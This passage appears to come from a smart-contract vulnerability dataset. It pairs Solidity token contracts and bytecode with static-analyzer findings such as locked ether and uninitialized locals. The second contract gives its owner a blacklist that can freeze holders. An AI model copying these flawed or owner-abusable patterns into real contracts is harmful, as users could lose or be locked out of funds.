}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public returns (bool) {
paused = false;
emit Unpause();
return true;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint);
function allowance(address tokenOwner, address spender) public constant returns (uint);
function transfer(address to, uint tokens) public returns (bool);
function approve(address spender, uint tokens) public returns (bool);
function transferFrom(address from, address to, uint tokens) public returns (bool);
function name() public constant returns (string);
function symbol() public constant returns (string);
function decimals() public constant returns (uint8);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
/**
* ERC223 token by Dexaran
*
* https://github.com/Dexaran/ERC223-token-standard
*/
/* New ERC223 contract interface */
contract ERC223 is ERC20Interface {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint tokens);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract NeoWorldCash is ERC223, Pausable {
using SafeMath for uint256;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
event Burn(address indexed from, uint256 value);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function NeoWorldCash() public {
symbol = "NASH";
name = "NEOWORLD CASH";
decimals = 18;
totalSupply = 100000000000 * 10**uint(decimals);
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
// Function to access name of token .
function name() public constant returns (string) {
return name;
}
// Function to access symbol of token .
function symbol() public constant returns (string) {
return symbol;
}
// Function to access decimals of token .
function decimals() public constant returns (uint8) {
return decimals;
}
// Function to access total supply of tokens .
function totalSupply() public constant returns (uint256) {
return totalSupply;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) public whenNotPaused returns (bool) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) public whenNotPaused returns (bool) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
emit Transfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool) {
ContractReceiver receiver = ContractReceiver(_to);
uint256 price;
address owner;
(price, owner) = receiver.doTransfer(msg.sender, bytesToUint(_data));
if (balanceOf(msg.sender) < price) revert();
balances[msg.sender] = balanceOf(msg.sender).sub(price);
balances[owner] = balanceOf(owner).add(price);
receiver.tokenFallback(msg.sender, price, _data);
emit Transfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function balanceOf(address _owner) public constant returns (uint) {
return balances[_owner];
}
function burn(uint256 _value) public returns (bool) {
require (_value > 0);
require (balanceOf(msg.sender) >= _value); // Check if the sender has enough
balances[msg.sender] = balanceOf(msg.sender).sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function bytesToUint(bytes b) private pure returns (uint result) {
uint i;
result = 0;
for (i = 0; i < b.length; i++) {
uint c = uint(b[i]);
if (c >= 48 && c <= 57) {
result = result * 10 + (c - 48);
}
}
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public whenNotPaused returns (bool) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public whenNotPaused returns (bool) {
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[from] = balances[from].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
|
0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461010c578063095ea7b31461019a57806318160ddd146101f457806323b872dd1461021d578063313ce567146102965780633f4ba83a146102c557806342966c68146102f25780635c975abb1461032d57806370a082311461035a57806379ba5097146103a75780638456cb59146103bc5780638da5cb5b146103e957806395d89b411461043e578063a9059cbb146104cc578063be45fd6214610526578063d4ee1d90146105c3578063dc39d06d14610618578063dd62ed3e14610672578063f2fde38b146106de575b600080fd5b341561011757600080fd5b61011f610717565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015f578082015181840152602081019050610144565b50505050905090810190601f16801561018c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101a557600080fd5b6101da600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107bf565b604051808215151515815260200191505060405180910390f35b34156101ff57600080fd5b6102076108cd565b6040518082815260200191505060405180910390f35b341561022857600080fd5b61027c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108d7565b604051808215151515815260200191505060405180910390f35b34156102a157600080fd5b6102a9610b9e565b604051808260ff1660ff16815260200191505060405180910390f35b34156102d057600080fd5b6102d8610bb5565b604051808215151515815260200191505060405180910390f35b34156102fd57600080fd5b6103136004808035906020019091905050610c7b565b604051808215151515815260200191505060405180910390f35b341561033857600080fd5b610340610d72565b604051808215151515815260200191505060405180910390f35b341561036557600080fd5b610391600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d85565b6040518082815260200191505060405180910390f35b34156103b257600080fd5b6103ba610dce565b005b34156103c757600080fd5b6103cf610f6d565b604051808215151515815260200191505060405180910390f35b34156103f457600080fd5b6103fc611033565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561044957600080fd5b610451611058565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610491578082015181840152602081019050610476565b50505050905090810190601f1680156104be5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104d757600080fd5b61050c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611100565b604051808215151515815260200191505060405180910390f35b341561053157600080fd5b6105a9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061115b565b604051808215151515815260200191505060405180910390f35b34156105ce57600080fd5b6105d66111ae565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561062357600080fd5b610658600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506111d4565b604051808215151515815260200191505060405180910390f35b341561067d57600080fd5b6106c8600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611313565b6040518082815260200191505060405180910390f35b34156106e957600080fd5b610715600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061139a565b005b61071f611b6d565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107b55780601f1061078a576101008083540402835291602001916107b5565b820191906000526020600020905b81548152906001019060200180831161079857829003601f168201915b5050505050905090565b6000600160149054906101000a900460ff161515156107dd57600080fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600754905090565b6000600160149054906101000a900460ff161515156108f557600080fd5b61098482600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461143990919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a5682600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461143990919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610aeb82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461145290919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000600660009054906101000a900460ff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c1257600080fd5b600160149054906101000a900460ff161515610c2d57600080fd5b6000600160146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a16001905090565b60008082111515610c8b57600080fd5b81610c9533610d85565b10151515610ca257600080fd5b610cbd82610caf33610d85565b61143990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d158260075461143990919063ffffffff16565b6007819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b600160149054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e2a57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fca57600080fd5b600160149054906101000a900460ff16151515610fe657600080fd5b60018060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a16001905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611060611b6d565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110f65780601f106110cb576101008083540402835291602001916110f6565b820191906000526020600020905b8154815290600101906020018083116110d957829003601f168201915b5050505050905090565b600061110a611b81565b600160149054906101000a900460ff1615151561112657600080fd5b61112f8461146e565b156111465761113f848483611481565b9150611154565b61115184848361188d565b91505b5092915050565b6000600160149054906101000a900460ff1615151561117957600080fd5b6111828461146e565b1561119957611192848484611481565b90506111a7565b6111a484848461188d565b90505b9392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561123157600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156112f457600080fd5b5af1151561130157600080fd5b50505060405180519050905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113f557600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561144757fe5b818303905092915050565b6000818301905082811015151561146557fe5b80905092915050565b600080823b905060008111915050919050565b6000806000808692508273ffffffffffffffffffffffffffffffffffffffff16630f24f5c8336114b088611aa2565b6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506040805180830381600087803b151561153357600080fd5b5af1151561154057600080fd5b5050506040518051906020018051905080925081935050508161156233610d85565b101561156d57600080fd5b6115888261157a33610d85565b61143990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115e6826115d883610d85565b61145290919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3384886040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156116eb5780820151818401526020810190506116d0565b50505050905090810190601f1680156117185780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561173857600080fd5b5af1151561174557600080fd5b5050508673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040518082815260200191505060405180910390a38673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1688886040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611844578082015181840152602081019050611829565b50505050905090810190601f1680156118715780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3600193505050509392505050565b60008261189933610d85565b10156118a457600080fd5b6118bf836118b133610d85565b61143990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061191d8361190f86610d85565b61145290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1685856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611a5c578082015181840152602081019050611a41565b50505050905090810190601f168015611a895780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3600190509392505050565b6000806000809250600091505b8351821015611b66578382815181101515611ac657fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f01000000000000000000000000000000000000000000000000000000000000009004905060308110158015611b48575060398111155b15611b595760308103600a84020192505b8180600101925050611aaf565b5050919050565b602060405190810160405280600081525090565b6020604051908101604052806000815250905600a165627a7a72305820c247d5d4f170795cf9692f9265fd6b279f24bb85bab01de85a746c141d33583b0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 9,337 |
0x63846f26e7b43e34d99b09c2da619a2c2d36e8ab
|
/**
*Submitted for verification at Etherscan.io on 2022-03-27
*/
// SPDX-License-Identifier: Unlicensed
//https://t.me/+Gt9qqBTkLKo3ZWFk
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract EightyEightPlus is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"88+";
string private constant _symbol = unicode"88+";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeJeets = 0;
uint256 private _taxFeeJeets = 8;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 8;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 8;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0x8C4b64B91029938108b28f0AeDa9b140b1b6a339);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 2 minutes;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
uint256 public _maxTxAmount = 2e7 * 10**9;
uint256 public _maxWalletSize = 2e7 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
uint256 public _minimumBuyAmount = 2e7 * 10**9 ;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 20 minutes) {
require(amount <= _minimumBuyAmount, "Amount too much");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
